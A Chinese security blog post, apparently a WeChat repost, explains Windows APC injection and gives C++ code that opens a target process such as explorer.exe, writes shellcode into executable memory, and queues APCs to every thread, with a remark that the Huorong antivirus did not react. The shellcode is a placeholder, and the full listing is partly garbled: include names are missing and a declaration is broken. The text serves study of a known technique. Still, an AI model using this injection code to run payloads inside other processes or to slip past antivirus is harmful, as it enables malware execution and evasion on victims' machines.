文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任
前言
APC注入可以让一个线程在它正常的执行路径运行之前执行一些其它的代码,每一个线程都有一个附加的APC队列,它们在线程处于可警告的时候才被处理。
如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。
APC有两种存在形式:
1. 为系统和驱动生成的APC(内核APC)
2. 为应用程序生成的APC(用户APC)
用户模式
线程可利用QueueUserAPC排入一个让远程线程调用的函数,QueueUserAPC函数原型
(MSDN):
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, //指向一个用户提供的APC函数的指针
HANDLE hThread, //线程的句柄。句柄必须有THREAD_SET_CONTEXT访问权限
ULONG_PTR dwData //指定一个被传到pfnAPC参数指向的APC函数的值
一旦获取了线程ID,就可以利用其打开句柄,通过参数LoadLibraryA以及对应的参数dwData(dll名称),LoadLibraryA就会被远程线程调用,从而加载对应的恶意DLL。
内核模式
一种方法是在内核空间执行APC注入。恶意的驱动可创建一个APC,然后分配用户模式进程中的一个线程(最常见的是svchost.exe)运行它。这种类型的APC通常由shellcode组成。
设备驱动利用两个主要的函数来使用APC:KeInitalizeApc和KeInsertQueueApc。
需要两个函数来搭配使用,构造APC函数。
KeInitalizeApc(初始化APC结构);
KelnsertQueueAPC(将APC对象放入目标线程的APC队列中);
KeInitializeApc(
Apc,
&Thread->Tcb,
OriginalApcEnvironment, //这个参数包含要被注入的线程
PspQueueApcSpecialApc,
NULL,
ApcRoutine,
UserMode, //**
NormalContext); //**
下面,我们利用APC注入来执行shellcode,那么我们的总体思路就是
1. 查找explorer.exe进程ID
2. 在explorer.exe进程的内存空间中分配内存
3. 将shellcode下入该内存位置
4. 在explorer.exe中找到所有线程
5. 将APC排队到所有这些线程中,APC指向shellcode
6. 当explorer.exe中的线程被调用时,我们的shellcode将被执行
这里我们通过 Process32First Process32Next 通过这两个函数查找我们需要注入的进程,这里我们查找的是explorer.exe这个进程,但是不推荐这么做,可能会造成电脑的卡顿或者崩溃,可以根据自己的需求来选择注入对象。
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"xxxx.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
找到xxxx.exe的PID后,我们需要xxxx.exe获取进程的句柄并且为shellcode分配一些内存,该shellcode会被写入xxxx.exe的进程内存空间,此外,声明一个APC例程,该例程现在执行该shellcode
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
接着,我们开始枚举explorer.exe的所有线程,并将APC指向shellcode
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
上面我们说到了只有线程处于可警告的时候才被处理,为了使APC代码注入能够正常工作,排队APC的线程需要处于某种状态。
以下这几个Win32API都可以将线程设置为可警告
* SleepEx
* WaitForSingleObjectEx
* WaitForMultipleObjectsEx
这里我们使用sleepEx这个API
DWORD SleepEx(
DWORD dwMilliseconds,
BOOL bAlertable
);
处于可警告状态代码立即被执行,处于不可警告状态,shellcode没有得到执行。
#include #include #include #include int main() { unsigned char buf[] = "shellcode"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"xxxxx.exe") != 0) { Process32Next(snapshot, &processEntry); } }
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); }
for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); }
return 0; } |
下面是实际效果演示:
火绒也是没有实际的反应
我们需要根据实际情况来进行修改,其中代码不懂的地方可以咨询公众号或者上网查询。
注:该文章非原创,文中很多部分借鉴了其他大佬。
原文始发于微信公众号(泾弦安全):常规APC注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论